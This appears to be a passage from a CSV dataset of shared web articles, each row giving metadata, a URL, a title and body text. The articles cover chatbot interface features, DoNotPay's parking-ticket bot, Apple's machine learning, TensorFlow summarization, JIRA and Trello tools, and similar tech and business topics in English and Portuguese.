limited to the 120 to 140 words per minute of speech production. SMS and chat apps have adapted to increase text production speed through autocorrect features and novel keyboards , but text production for humans will always be slower than consumption. Imagine, however, a friend that can type, draw, look up information and find GIFs at superhuman speed, and produce buttons, menus and pictures to make your input faster. Better yet, your enhanced input is much easier for your friend to understand and does not take away the flexibility and familiarity of natural language when needed. We may not be quite there yet, but we are very close, especially with well-constructed bots on certain platforms. Here is a look at the features of different bot platforms that are shaping human-bot communication toward a more efficient, robust and natural UI paradigm. Quick-reply buttons Quick-reply buttons are a simple and convenient way to save user time and prevent unexpected input. They are unique to human-bot communication as buttons are trivial for bots to create and easy for humans to use; benefits include enhanced communication speed and bot comprehension. Facebook, Telegram and Kik bots all have quick-reply buttons, but under slightly different names, and some bots, such as the Sephora bot on Kik, use the quick-reply button as the primary mode of communication. Slack still lacks quick-reply buttons, but has message buttons with associated actions. Telegram Custom Keyboard : Facebook Messenger Quick Replies : Kik Suggested Response Keyboard: Callback buttons Callback buttons are similar to quick-reply buttons but allow for a broader range of potential interactions. When a callback button is clicked, it generates an HTTP call to a registered webhook that triggers a predefined action. Callback buttons are a great way to provide feedback, and they also provide a deeper analytics opportunity for the bot backend. Slack Message Buttons : Messenger Postback Button : Telegram Callback Buttons : Structured information sharing Sharing information that can be easily parsed programmatically takes the exchange of structured information from clunky in a language-only paradigm to easy and unambiguous in a hybrid paradigm. For instance, sharing a location like ""3rd & Madison"" is ambiguous and slow for humans and machines to parse, while shared GPS coordinates can be quickly displayed with a map service and understood by bots. Telegram SendContact and SendLocation : Facebook Messenger Location Sharing : Bot mentions Inline bots are a great way to quickly obtain, send and share information during chats, without the need to jump out of the current interface (to go to another chat) or the current app (to go to another app). Instead of multiple taps and menus to perform a specific function, an @ mention at a bot allows for a one-line interaction. Allowing bots to share conversational context with one another also greatly increases the speed of interaction because users no longer need to re-input data for each communication. Telegram Inline Bot : Slack Bot Mention : The following table summarizes the added language-touch functionality provided by four popular chat and bot platforms. These features represent the beginning of a hybrid communication paradigm that will enable more efficient and effective communication with bots: Quick-reply buttons: save user time and improve machine comprehension Callback buttons: provide calls to action and back-end analytics Structured info sharing: easily shares machine-readable information Bot mention: make bots always present and easily accessible If your bot does not use a language-touch hybrid communication pattern, there are several other ways you can still take some of the UI mechanics from buttons and callbacks to build a better bot: Build your system starting with humans in the loop to identify the most common communication patterns and exceptions to that pattern Optimize dialogue for two-channel - fast and slow - communication with clear, well-defined responses (e.g., "" Reply YES to buy "") or open-ended messages (""Can you tell me when the new Taylor Swift record comes out?"") Use callback functions, even without native integration. For more complicated tasks, take users out of chat and move them to a point-and-click or touch interface that is better suited to the task at hand Consider moving to a platform that is better optimized for new human-machine interaction AI and NLP have a long way to go before bots achieve human-level communication. However, before that happens, new methods of human-machine communication will leverage the strengths of humans and machines to create new interaction paradigms that are as natural as our own language. Featured Image: Bryce Durbin",en
1472050640,CONTENT SHARED,7372398343609401828,-6316613156648676087,-3073946042046646402,,,,HTML,https://www.mindmeister.com/pt/694609910/bitcoin-blockchain?utm_campaign=buffer&utm_content=buffer3d3d0&utm_medium=social&utm_source=twitter.com,Bitcoin / Blockchain,Bitcoin / Blockchain by Florian Graillot Notary Bitproof - Clipperz - CoinSpark - Crypto Public Notary - Factom - Fundrs Mamoru - Otonomos - PeerNova - Proof Of Existence - SolidX - StampD - Stampery - Tierion - Woleet - KYC/Identity Authy - BlockScore BlockSeer - Chainalysis - Civic Elliptic - Netki - OneName - Sig3 - ShoCard - Tradle - Remittance Abra - Atlas - Bitex - BitPesa - BitSIM - BitSpark - Bitt - Bitwala - Circle - CoinPip - Coins - CryptoPay - Everex - HelloBit - IsBit - Moni - NairaEx - Neema - Palarin - P2P cash - Rebit - Remitsy - Romit.io - Toast - TransferB UpHold - ZipZap - Payment Align Commerce - Blade - BitNet - BitPay - ChangeTip - Simplex - SnapCard - PayKey - Ripple - Vogogo - Yope - Financial Services Loan BitBond - BTCJam - BTC Lend BTCpop - LoanBase - MoneyCatcha - Asset Management AlphaPoint - Koibanx - CrowdFunding WeiFund - Harvestr - Trading AlgoBit - Chroma - SwarmBot - 1Broker Alt Options BitMEX BitPagos BSave Coinigy CoinCox - Coinut Cryex Epiphyte Fuzo GrayScale HitFin itBit Kottackal Business Solution Magnr Melotic Mirror Noble Markets Nxt Protochains R3 CEV SETL.io Stellar - Symbiont.io TeraExchange TradeBlock TabTrader TradeWave Tramonex Ucash Waves - Smart Contracts AppliedBlockchain - Hedgy - Inspheer - insurETH - Metaco - PolyCoin - Rootstock - Insurance Micro-insurance Consuelo - Riskebiz - P2P Allied Peers BitPark - Dynamis - Teambrella - Tribe Chain Augur - EverLedger - SafeShare - Wekeep - Concordata - Infrastructure Hardware 21 - Bitmain - Bitocean - Bitcoin Trezor - Coinmint - ACinq AvalanChain Backfeed BigchainDB Blockstram Brontech Chain Ciphrex Coala.global Colu Credits.vision DigiBlockTek Digital Asset Eris Industries Hyperledger Project MultiChain Quantoz Score Chain Stratumn Sun & Son ScaleChain.io Stratis - Other Art Ascribe - Blockai - LBRY - Monegraph - Mycelia Seezart - Verisart - News/BI Brave New Coin - CoinBoard - CoinDesk - CoinJournal - CoinMonitor - CoinTelegraph - Cryptocoinnews - Skry - Consulting Atraura Labs - BlockCypher - Third Key Solutions - Utocat - Wip Solutions - IoT Aedeus - Cryptotronix - Filament - Slock.it - Storage Belem - FileCoin - Maidsafe - Storj - Sia - Supply chain Provenance - SkuChain - Wave - VC Blockchain Capital - Digital Currency Group - Pantera Capital - AirBitz - BitAccess - Block Notary - BlockPharma - Blockverify - BlocWave - blocwave.com ChainThat - Colony - CryptoCorp - KeeeX - Fluent - Gem - Gliph - HashPlex - Hermetic JackPocket - JoyStream - Reveal SABR - SkuChain - Steem - Synereo TauChain - ThingChain - VinoChain Voatz - Bitcoin Bitcoin Exchange Bit2Me - BitFlyer - BitOasis - BitSo - Bitstamp - Bity - BTCC - Coinbase - CoinCorner - CoinFloor - GateCoin - Huobi - Korbit - Kraken - MonetaGo - Paymium - Poloniex - Safello - SatoshiTango - ShapeShift - Wall of coins - Bitcoin Wallet BlockTrail - BitGo - BitX - CoinPlus - Greenaddress - Ledger - UnoCoin - VolaBit - Xapo - ZeroBillBank - Ethereum BlockApps - ConsenSys - Etherchain - Ethereum Security Services - Ethernodes - Gnosis - Jaxx - ©,en
1472051803,CONTENT SHARED,5998661158461710046,-6316613156648676087,-3073946042046646402,,,,HTML,https://www.theguardian.com/technology/2016/jun/28/chatbot-ai-lawyer-donotpay-parking-tickets-london-new-york,"Chatbot lawyer overturns 160,000 parking tickets in London and New York","An artificial-intelligence lawyer chatbot has successfully contested 160,000 parking tickets across London and New York for free, showing that chatbots can actually be useful. Dubbed as ""the world's first robot lawyer"" by its 19-year-old creator, London-born second-year Stanford University student Joshua Browder, DoNotPay helps users contest parking tickets in an easy to use chat-like interface. The program first works out whether an appeal is possible through a series of simple questions, such as were there clearly visible parking signs, and then guides users through the appeals process. The results speak for themselves. In the 21 months since the free service was launched in London and now New York, Browder says DoNotPay has taken on 250,000 cases and won 160,000, giving it a success rate of 64% appealing over $4m of parking tickets . ""I think the people getting parking tickets are the most vulnerable in society. These people aren't looking to break the law. I think they're being exploited as a revenue source by the local government,"" Browder told Venture Beat . The bot was created by the self-taught coder after receiving 30 parking tickets at the age of 18 in and around London. The process for appealing the fines is relatively formulaic and perfectly suits AI, which is able to quickly drill down and give the appropriate advice without charging lawyers fees. - Joshua Browder (@jbrowder1) It always brightens my day to receive these emails. I wish the local governments would just follow the rules pic.twitter.com/1gz6NjYSs3 Browder intends to expand DoNotPay to Seattle next. But having started with parking tickets, Browder's next challenge for the AI lawyer is helping people with flight delay compensation, as well as helping the HIV positive understand their rights and acting as a guide for refugees navigating foreign legal systems. At the same time, Browder is exploring a developer platform that only requires legal knowledge, not a coding background, which could spawn further useful chatbots to help dispense simple legal advice without exorbitant fees. At the very least, Browder's robot lawyer shows that chatbots can be used for more than just ordering pizza or being spammed by news organisations . Move over, chatbots: meet the artbots Meet our experimental Guardian Sous-Chef Facebook messenger bot",en
1472056923,CONTENT SHARED,-3959242148361340089,9109075639526981934,-3684143564258997387,,,,HTML,https://www.gartner.com/doc/reprints?id=1-2PMFPEN&ct=151013,Gartner Reprint,"The operational database management system (DBMS) market is concerned with relational and nonrelational database management products suitable for a broad range of enterprise-level transactional applications. These include purchased business applications, such as those for ERP, CRM, catalog management and security event management, and custom transactional systems built by organizations' own development teams. Also included in Gartner's definition of this market are DBMS products that support interactions and observations as new types of transaction.",en
1472058860,CONTENT SHARED,-1137602700803601559,-1443636648652872475,560375642352974408,,,,HTML,http://venturebeat.com/2016/08/24/polly-ai-raises-1-2-million-to-help-companies-poll-their-employees/,Polly.ai raises $1.2 million to help companies poll their employees,"Makers of Polly, a poll-making bot that is the most popular in the Bot category of the Slack App Directory , announced the close of a $1.2 million seed round today. Polly and parent company Subcurrent were made by former Microsoft engineers Samir Diwan and Bilal Aijazi‏. At the Redmond giant, the two felt there was no way to get a pulse from programmers about a project. ""We wanted to create an easy way for the ground level engineers to share their input, and have it done in a quantitative way so management could actually understand if there was just some minor noise amongst the engineers or if the product was truly headed down the wrong path,"" Diwan told VentureBeat in an interview on Slack. Polly tracks processes and the value of work activity. The most popular polls revolve around sprints team happiness. Among founders and HR people, popular polls ask about product health or the effectiveness of all-hands meetings. ""On the surface it's polls, but there's more to it. We're really an analytics company. The value we provide back to our users is analytics and insights. We're able to track trends, voting patterns,"" Diwan said. Companies that use Polly include Soylent, Auth0, and Grammarly. Diwan said thousands of teams have used Polly to make polls but declined to share a specific number. Other companies in the area of polling employees include SurveyMonkey and the Slackbot Simple Poll. The $1.2 million investment round for the Seattle-based company was led by Amplify Partners. Get more stories like this on Twitter & Facebook",en
1472065460,CONTENT SHARED,4158328739563138055,-5639303336519418445,6845057196800109514,,,,HTML,https://www.linkedin.com/pulse/o-perfil-do-l%C3%ADder-capaz-de-gerir-equipes-alto-sofia-esteves,O perfil do líder capaz de gerir equipes de alto desempenho,"Esta semana não poderia deixar de compartilhar com vocês as mensagens mais importantes do Congresso Nacional de Recursos Humanos - CONARH, que acabou na quinta-feira passada. Foram quatro dias intensos de troca de conhecimento. O tema deste ano foi InfluenciAÇÃO, gestão que inspira pessoas que conquistam . O evento reuniu principalmente os líderes de RH, mas as mensagens que ficam são para todos os líderes. Porque o verdadeiro líder é um gestor de pessoas. Confiança, transparência, aprendizado constante, relações de qualidade, felicidade. Essas são as palavras que permearam todo o congresso. Palavras que nos trazem inspiração. A inspiração necessária para exercermos a influenciação e nos tornarmos protagonistas de profundas transformações nas organizações, fundamentais para a sustentabilidade dos negócios em um cenário de incerteza e de constante mudança. Vimos que a tecnologia é o elemento propulsor das mudanças, mas que a inovação disruptiva acontece mesmo a partir das pessoas que encontram formas diferentes e novas de usar essa tecnologia. Os muros que separavam o pessoal do profissional, a escola da empresa, o alto escalão do chão de fábrica e a ética das práticas de mercado não se sustentam mais. Hoje sabemos que é impossível dividir quem você é no escritório e fora dele. Percebemos claramente que o preparo que as escolas oferecem é insuficiente para enfrentar os dilemas éticos, morais e de relacionamento interpessoal. As pessoas não aceitam mais seguir ordens de um líder super-herói que tudo sabe. As barreiras da hierarquia caem, assim como a tolerância das pessoas com atitudes ilícitas. As empresas precisam de líderes que sejam seres humanos autênticos, que admitem seus erros, que não têm vergonha de dizer que não sabem tudo e estão dispostos a aprender e ensinar constantemente. Só assim se estabelece a confiança necessária para a realização de um trabalho em rede dentro e fora da organização. Mas para que realizar esse trabalho? As pessoas se motivam por um propósito e as empresas precisam ter o seu bem claro, assim como seus valores. O alinhamento entre o propósito e os valores das pessoas é que criará um círculo virtuoso, que ultrapassa o lucro e gera riqueza. Vimos que dinheiro não traz felicidade, que a felicidade vem a partir das relações de qualidade entre as pessoas. E essa relação de qualidade envolve, sim, afeto. Não o mesmo que se tem com a família, mas um interesse legítimo por se relacionar bem com o outro e a generosidade de estar a serviço de um bem comum. Ouvi algumas pessoas dizendo que o que levamos para casa é um tanto utópico e difícil de ser colocado em prática. É a vanguarda da gestão de pessoas. Mais do que isso, a vanguarda da gestão dos negócios. E sabendo de tudo isso, temos uma grande oportunidade de fazer a diferença. Começar algo novo nunca é fácil, mas pudemos ver também que é possível a partir de casos de sucesso apresentados no congresso. O RH pode e deve ser protagonista. Tem todas as ferramentas para influenciar e concretizar o fortalecimento da cultura, a disseminação de valores, o aprimoramento da governança, a preparação de lideranças e criação de um ambiente onde as pessoas possam colocar o seu talento a serviço de um propósito, desenvolver relações de qualidade e serem felizes.",pt
1472066718,CONTENT SHARED,6340108943344143104,-1443636648652872475,560375642352974408,,,,HTML,https://research.googleblog.com/2016/08/text-summarization-with-tensorflow.html,Text summarization with TensorFlow,"Every day, people rely on a wide variety of sources to stay informed -- from news stories to social media posts to search results. Being able to develop Machine Learning models that can automatically deliver accurate summaries of longer text can be useful for digesting such large amounts of information in a compressed form, and is a long-term goal of the Google Brain team . Summarization can also serve as an interesting reading comprehension test for machines. To summarize well, machine learning models need to be able to comprehend documents and distill the important information, tasks which are highly challenging for computers, especially as the lengths of the documents increases. In an effort to push this research forward, we're open-sourcing TensorFlow model code for the task of generating news headlines on Annotated English Gigaword , a dataset often used in summarization research. We also specify the hyper-parameters in the documentation that achieve better than published state-of-the-art on the most commonly used metric as of the time of writing. Below we also provide samples generated by the model. Extractive and Abstractive summarization One approach to summarization is to extract parts of the document that are deemed interesting by some metric (for example, inverse-document frequency ) and join them to form a summary. Algorithms of this flavor are called extractive summarization. Original Text: Alice and Bob took the train to visit the zoo . They saw a baby giraffe, a lion, and a flock of colorful tropical birds . Extractive Summary: Alice and Bob visit the zoo. saw a flock of birds. Above we extract the words bolded in the original text and concatenate them to form a summary. As we can see, sometimes the extractive constraint can make the summary awkward or grammatically strange. Another approach is to simply summarize as humans do, which is to not impose the extractive constraint and allow for rephrasings. This is called abstractive summarization. Abstractive summary: Alice and Bob visited the zoo and saw animals and birds. In this example, we used words not in the original text, maintaining more of the information in a similar amount of words. It's clear we would prefer good abstractive summarizations, but how could an algorithm begin to do this? About the TensorFlow model It turns out for shorter texts, summarization can be learned end-to-end with a deep learning technique called sequence-to-sequence learning , similar to what makes Smart Reply for Inbox possible. In particular, we're able to train such models to produce very good headlines for news articles. In this case, the model reads the article text and writes a suitable headline. To get an idea of what the model produces, you can take a look at some examples below. The first column shows the first sentence of a news article which is the model input, and the second column shows what headline the model has written. We've observed that due to the nature of news headlines, the model can generate good headlines from reading just a few sentences from the beginning of the article. Although this task serves as a nice proof-of-concept, we started looking at more difficult datasets where reading the entire document is necessary to produce good summaries. In those tasks training from scratch with this model architecture does not do as well as some other techniques we're researching, but it serves as a baseline. We hope this release can also serve as a baseline for others in their summarization research.",en
1472070483,CONTENT SHARED,5312357518363318341,-709287718034731589,-5548172427377411541,,,,HTML,http://www.macrumors.com/2016/08/24/apple-machine-learning-siri-neural-network/,Apple's Machine Learning Has Cut Siri's Error Rate by a Factor of Two,"Steven Levy has published an in-depth article about Apple's artificial intelligence and machine learning efforts, after meeting with senior executives Craig Federighi, Eddy Cue , Phil Schiller , and two Siri scientists at the company's headquarters. Apple provided Levy with a closer look at how machine learning is deeply integrated into Apple software and services, led by Siri, which the article reveals has been powered by a neural-net based system since 2014. Apple said the backend change greatly improved the personal assistant's accuracy. ""This was one of those things where the jump was so significant that you do the test again to make sure that somebody didn't drop a decimal place,"" says Eddy Cue, Apple's senior vice president of internet software and services. Alex Acero, who leads the Siri speech team at Apple, said Siri's error rate has been lowered by more than a factor of two in many cases. ""The error rate has been cut by a factor of two in all the languages, more than a factor of two in many cases,"" says Acero. ""That's mostly due to deep learning and the way we have optimized it - not just the algorithm itself but in the context of the whole end-to-end product."" Acero told Levy he was able to work directly with Apple's silicon design team and the engineers who write the firmware for iOS devices to maximize performance of the neural network, but Federighi added that Apple building both hardware and software gives it an ""incredible advantage"" in the space. ""It's not just the silicon,"" adds Federighi. ""It's how many microphones we put on the device, where we place the microphones. How we tune the hardware and those mics and the software stack that does the audio processing. It's all of those pieces in concert. It's an incredible advantage versus those who have to build some software and then just see what happens."" Apple's machine learning efforts extend far beyond Siri, as evidenced by several examples shared by Levy: You see it when the phone identifies a caller who isn't in your contact list (but did email you recently). Or when you swipe on your screen to get a shortlist of the apps that you are most likely to open next. Or when you get a reminder of an appointment that you never got around to putting into your calendar. Or when a map location pops up for the hotel you've reserved, before you type it in. Or when the phone points you to where you parked your car, even though you never asked it to. These are all techniques either made possible or greatly enhanced by Apple's adoption of deep learning and neural nets. Another product born out of machine learning is the Apple Pencil , which can detect the difference between a swipe, a touch, and a pencil input: In order for Apple to include its version of a high-tech stylus, it had to deal with the fact that when people wrote on the device, the bottom of their hand would invariably brush the touch screen, causing all sorts of digital havoc. Using a machine learning model for ""palm rejection"" enabled the screen sensor to detect the difference between a swipe, a touch, and a pencil input with a very high degree of accuracy. ""If this doesn't work rock solid, this is not a good piece of paper for me to write on anymore - and Pencil is not a good product,"" says Federighi. If you love your Pencil, thank machine learning. On the iPhone, machine learning is enabled by a localized dynamic cache or ""knowledge base"" that Apple says is around 200MB in size, depending on how much personal information is stored. This includes information about app usage, interactions with other people, neural net processing, a speech modeler, and ""natural language event modeling."" It also has data used for the neural nets that power object recognition, face recognition, and scene classification. ""It's a compact, but quite thorough knowledge base, with hundreds of thousands of locations and entities. We localize it because we know where you are,"" says Federighi. This knowledge base is tapped by all of Apple's apps, including the Spotlight search app, Maps, and Safari. It helps on auto-correct. ""And it's working continuously in the background,"" he says. Apple, for example, uses its neural network to capture the words iPhone users type using the standard QuickType keyboard. Other information Apple stores on devices includes probably the most personal data that Apple captures: the words people type using the standard iPhone QuickType keyboard. By using a neural network-trained system that watches while you type, Apple can detect key events and items like flight information, contacts, and appointments - but information itself stays on your phone. Apple insists that much of the machine learning occurs entirely local to the device, without personal information being sent back to its servers. ""Some people perceive that we can't do these things with AI because we don't have the data,"" says Cue. ""But we have found ways to get that data we need while still maintaining privacy. That's the bottom line."" ""We keep some of the most sensitive things where the ML is occurring entirely local to the device,"" Federighi says. As an example, he cites app suggestions, the icons that appear when you swipe right. The full-length article on Backchannel provides several more details about how machine learning and artificial intelligence work at Apple.",en
1472082421,CONTENT SHARED,-5150441845583002912,3217014177234377440,2175713080030247757,,,,HTML,http://www.e-core.com/blog/pt/5-formas-de-tornar-se-um-mestre-em-planejamento-com-o-portfolio-for-jira/,5 formas de tornar-se um Mestre em planejamento com o Portfolio for JIRA,"Mesmo quando seus times são ágeis, ainda há a necessidade de planejar o futuro. Entretanto, pode ser difícil conciliar o dia-a-dia de completar as sprints do time com a pressão adicional de ter que planejar os próximos passos. Sabendo que o JIRA Software é o local onde os times gerenciam seu trabalho diário, a Atlassian construiu o Portfolio for JIRA especialmente para que os clientes do JIRA possam dar um passo adiante em seu planejamento. Veja como você pode usar o Portfolio for JIRA para combinar o roadmap de produtos com o planejamento de sprints, manter-se informado sobre as dependências, desenvolver as habilidades do seu time e trabalhar com cenários ""e se"". Mescle o roadmap de produto com o planejamento de sprints Para atingir as metas do seu negócio, o trabalho diário do time de software precisa estar alinhado com o roadmap de produtos de longo prazo. No entanto, em diversos casos, o roadmap de produtos e o backlog do time são duas listas distintas gerenciadas por diferentes ferramentas que podem até estarem alinhadas no início, mas acabam tomando caminhos divergentes. Muito tempo é gasto nesse vai e volta - Se você faz um planejamento de alto nível, você precisar reconciliar aquilo manualmente com o backlog atual dos times e se o time já fez seu planejamento de Sprint, você precisa atualizar novamente o seu planejamento. Não seria legal se o roadmap do seu produto estivesse conectado diretamente com o trabalho do seu time no JIRA Software e na atualizado com o backlog do seu time em tempo real? O Portfolio for JIRA conecta-se de forma dinâmica aos quadros da sua equipe, de forma que ele tem todos os dados que precisa para prever um roadmap realista, levando em conta coisas como, rankings, dependências e disponibilidade do time, para que você possa usar o Portfolio for JIRA para agendar e prever o planejamento do trabalho para você. Mas afinal, como o Portfolio cria o cronograma? Uma ótima pergunta! Basicamente: Ordem de prioridade + Estimativas+ Capacidade do time = Cronograma. (em ordem de prioridade, terminar os itens a serem trabalhados o mais rápido possível). Depois, há os lançamentos: Você quer a funcionalidade B na versão 1.0, a funcionalidade C na versão 1.5, e a funcionalidade A onde ela pudesse se encaixar? Nesse caso, a melhor opção é ter a B concluída antes, depois a C, e depois a A como ela não é extremamente necessária. A menos que tenha uma - cuidado - Dependência! Digamos que B, na verdade precisa que a A seja feita anteriormente. Agora, obviamente, a ordem lógica seria A, depois B, depois C. Fácil! A menos que tenha uma data antecipada para o início em algum lugar? Ou que alguém esteja em férias e haja menor capacidade? Ou que a funcionalidade B exige uma habilidade específica para ser realizada, e apenas certas pessoas do time podem ajudar? Todos esses fatores de restrição estarão no cronograma automaticamente, então você não precisa pensar sobre isso manualmente. Agora que você tem um roadmap de produto realista, como você pode levar isso à próxima reunião de planejamento de sprints? Como o Portfolio for JIRA está conectado de forma dinâmica aos quadros do JIRA, ele automaticamente sugere o que pode se encaixar na próxima Sprint, para que você possa atribuir as questões que foram agendadas no Portfolio for JIRA, diretamente para as sprints do seu time. Isso é um grande ponto para começar o planejamento das sprints com a possibilidade de você depois discutir e refinar com o seu time. Há algumas coisas que um gráfico de burn-up/burn-down simplesmente não consegue considerar - dependências são uma delas. Mesmo se a capacidade e o burn rate estiverem corretos, dependências podem significar que os times estão impedidos de fazerem o trabalho de maior prioridade. Se você vincular as questões a serem resolvidas no JIRA Software, o Portfolio for JIRA pode automaticamente considerar aquelas dependências no cronograma. Por exemplo, se ""a questão A"" bloqueia a ""questão B"" no JIRA, então no Portfolio for JIRA, a questão A será agendada para antes da questão B. Isso significa que seu time estará sempre trabalhando na ordem e tarefa certas, e não será bloqueado pelas dependências. No cronograma do Portfolio for JIRA, questões com dependência tem uma marcação visual ao lado da barra e quando você clica nelas, você pode ver as questões dependentes em destaque. Se você adicionar dependências ou fizer alterações nelas no Portfolio for JIRA, você pode submetê-las de volta para o JIRA como questões vinculadas. Aproveite ao máximo as habilidades do seu time Em um time ideal, todos podem fazer tudo, o que torna a etapa de planejamento fácil e flexível (e o mundo não para se um ou mais membros do time estiverem ausentes). Na realidade, isso raramente acontece. Às vezes você precisa considerar quem pode fazer tal tipo de trabalho, a fim de garantir que seus planos sejam precisos e assim evitar gargalos. No Portfolio for JIRA, você pode definir as habilidades dos membros dos times com o objetivo de refinar o cronograma e torná-lo mais preciso. As aptidões levam em conta as especializações no seu time e se referem as habilidades que os membros devem ter para que possam completar as demandas - por exemplo, quando você está escrevendo uma user story, você pode precisar de um empenho tanto dos responsáveis pelo produto quanto dos designers. Assim que você definir as habilidades no Portfolio for JIRA, você pode dividir as questões a serem resolvidas com base nas habilidades necessárias para que elas sejam completadas e então definir quem tem essas aptidões relevantes. Assim o Portfolio for JIRA pode atribuir os problemas dependendo das habilidades dos membros da equipe, e automaticamente calcular se há capacidade livre de determinadas habilidades ou gargalos onde certas habilidades estejam sendo usadas em excesso. Na próxima vez que você estiver em uma reunião com as partes interessadas e elas lhe perguntarem? ""Por que nós não adicionamos a funcionalidade ""X"" no escopo do nosso próximo lançamento?"" Ou, ""Por que nós não podemos entregar o projeto na próxima semana ao invés de no próximo mês?"" Você pode desenhar um cenário ""e se"" diretamente na frente dos envolvidos (adicionando escopo, alterando datas de lançamento, etc) e ver instantaneamente o impacto no plano. O planejamento de cenários ""e se"" é uma boa forma de se comunicar abertamente com os interessados e pontuar com clareza as mudanças, já que o roadmap mostra, de maneira realista, o que é possível realizar. Como todos os dados no Portfolio for JIRA são conectados ao JIRA Software de forma dinâmica, eles estão sempre atualizados com o trabalho e a capacidade da sua equipe, possibilitando a você tomar decisões baseadas nos últimos dados. Construa um centro de ""auto-informação"" Você está cansado daquelas perguntas: ""Qual o plano?"" ""Como será o acompanhamento?"" Ou até mesmo de mandar atualização de status para as pessoas? Agora você pode ter uma única verdade para que todos possam estar de acordo. A seção de relatórios do Portfolio for JIRA consiste em vários relatórios que podem fornecer as questões que as pessoas interessadas estão buscando, desde relatórios que mostram o progresso em áreas estratégicas, à um acumulado de todos os lançamentos e um cronograma mostrando as datas previstas para lançamentos. Não há mais a necessidade de exportar os dados manualmente para criar atualizações de progresso e status para as reuniões - basta pedir para os interessados olharem no plano do portfolio! Ahhh... e se você também não quiser que eles baguncem seu planejamento, você pode configurar suas permissões no Portfolio for JIRA para que eles entrem apenas no modo de leitura. Quais os relatórios disponíveis no Portfolio for JIRA? Os Relatório de Sprint mostram todas as sprints do plano para cada time, as questões atribuídas e o tempo de span. Os Relatórios Temáticos comparam suas áreas estratégicas alvo com as estimadas e atuais. Os Relatórios de Lançamento mostram todos os lançamentos de cada projeto incluindo lançamentos entre dois projetos; cruzados. Você verá a data de lançamento, progresso e as questões associadas. Os Relatórios de Cronograma mostram datas previstas para o lançamento e permitem que você as classifique baseado em projetos, times, e membros do time. Os Relatório de Capacidade mostram quanto da capacidade potencial do time está sendo usada, incluindo a capacidade disponível, a capacidade planejada e a capacidade usada em cada Sprint. Os Relatórios de Escopo oferecem uma visão geral de itens de todos os trabalhos, suas estimativas, progressos e datas agendadas para a conclusão. Se você está preparado para transformar seu planejamento, você pode testar a versão trial do Portfolio for JIRA ou entrar em contato com nosso time para tirar suas dúvidas sobre os benefícios que esta ferramenta pode trazer para o seu negócio. Conecte seus quadros, projetos ou filtros do JIRA Software, selecionando os lançamentos relevantes, adicionando seus times e confirmando os escopos. E, pronto! Você tem um planejamento de portfolio para apresentar. Bom planejamento! Fonte: Atlassian Blog Texto Original: Traduzido e Adaptado por: e-Core",pt
1472083643,CONTENT SHARED,-5686522658459155544,3217014177234377440,6399328642502028614,,,,HTML,http://blog.trello.com/trello-custom-fields/,[Tools] Trello Custom Fields: How To Maximize Your Board Workflow - Trello Blog,"Maximize Your Trello Workflow With Custom Fields An exciting new Power-Up has just been released into the Trello-verse. Custom Fields are a way to give cards more quick context, including marking them as done (yes, you read that correctly!), and much more functionality. The Custom Fields Power-Up is a way to formalize a process for your Trello boards. With Custom Fields, you can now: Add numerical values, such as account or order numbers. Input specific start and end dates to cards. Include a drop down list of choices. Add a checkbox to cards. Custom Field-spiration The best part of adding Custom Fields is that...well, they are custom! Here are a few examples of how your team may benefit from this oh-so-useful Power-Up: Mark cards as done Keep track of tasks that are completed, and when, by creating a checkbox named ""Done."" Add a date field to show when the task was completed. Display them as a badge on the front of the card. Managers can easily see at a glance every card marked as done. Add start and end dates Marketing teams and event planners, for example, can add start and end dates to cards for campaigns, promotions, and more. Or, keep a content calendar organized by creating fields for UTM parameters, tags, focus keywords, and relevant hashtags for social promotion for blog posts and marketing content. Easily access contact info Does your HR team have an onboarding board for new hires? Create fields on the Who's Who list so that employee info like email, phone number, Slack username, and star sign can easily be accessed by the rest of the team. Give more technical context Development teams can formalize the bug reporting process by creating fields to aid with bug reproduction such as operating system, browser type, software version, and steps to reproduce. Product managers can create fields to detail user stories for upcoming sprints. Include drop down lists Manufacturing and order fulfillment teams can use drop down lists to specify which products have been ordered, including number fields for order numbers and quantities. Use this with the Package Tracking Power-Up to ensure orders have been shipped out on time and in your customer's hands when they need it. Add account information IT teams can use Custom Fields to create a smoother process for incoming hardware and software requests , and to manage account information like usernames, email addresses, and account admins for cloud based services. How To Add Trello Custom Fields When the Custom Fields Power-Up is enabled, it displays as a subheader for card titles. On the board Menu, go to Power-Ups, then ""Custom Fields"" and click the gear icon to create the type of Field you wish to add. You can also edit the Custom Field from the card back once the Power-Up is enabled. Fields are board specific: they can be numerical, a dropdown list of choices, a checkbox, a date, or just some subtext. There is also an option to display this info on the front of the card as a badge, as well. There are countless ways to explore the Custom Fields Power-Up because they are, well, to your workflow. How are you using Custom Fields? We would love feedback on one of our newest features. Tell us in the comments! Related Posts",en
1472084340,CONTENT SHARED,3616722904601574426,-7496361692498935601,352146653115423838,,,,HTML,https://www.infoq.com/br/presentations/explorando-o-novo-dotnet-multiplataforma,"Explorando o novo .NET multiplataforma: ASP.NET Core, .NET Core e EF Core","Resumo Nesta palestra, exploraremos o estágio atual dos frameworks Core, vendo na prática uma aplicação ASP.NET e .NET Core 1.0 (MVC) com uso do Entity Framework Core 1.0 e baseada no .NET Core 1.0 sendo criada e executada em múltiplas plataformas. São discutidas as principais limitações existentes nos três frameworks em sua versão inicial - e como as mudanças podem afetar o desenvolvimento no dia a dia. Minibiografia Palestrante frequente em diversos eventos. Reconhecido pela Microsoft como MVP por quatro anos consecutivos. Foi responsável técnico pela implantação do projeto de adoção de livros digitais em tablets em uma das maiores escolas particulares de Brasília/DF, beneficiando inicialmente cerca de mil alunos, dentre diversas outras iniciativas em Tecnologia da Informação. Entre 28 de março e 1° de abril, São Paulo recebeu a nona edição brasileira do QCon. Organizado pelo InfoQ Brasil e com palestras selecionadas por um comitê independente, esta edição contou com 3 keynotes, 100 palestras e 13 workshops, totalizando 130 horas de conteúdo, o que levou o QCon São Paulo ao patamar dos maiores QCons mundiais.",pt
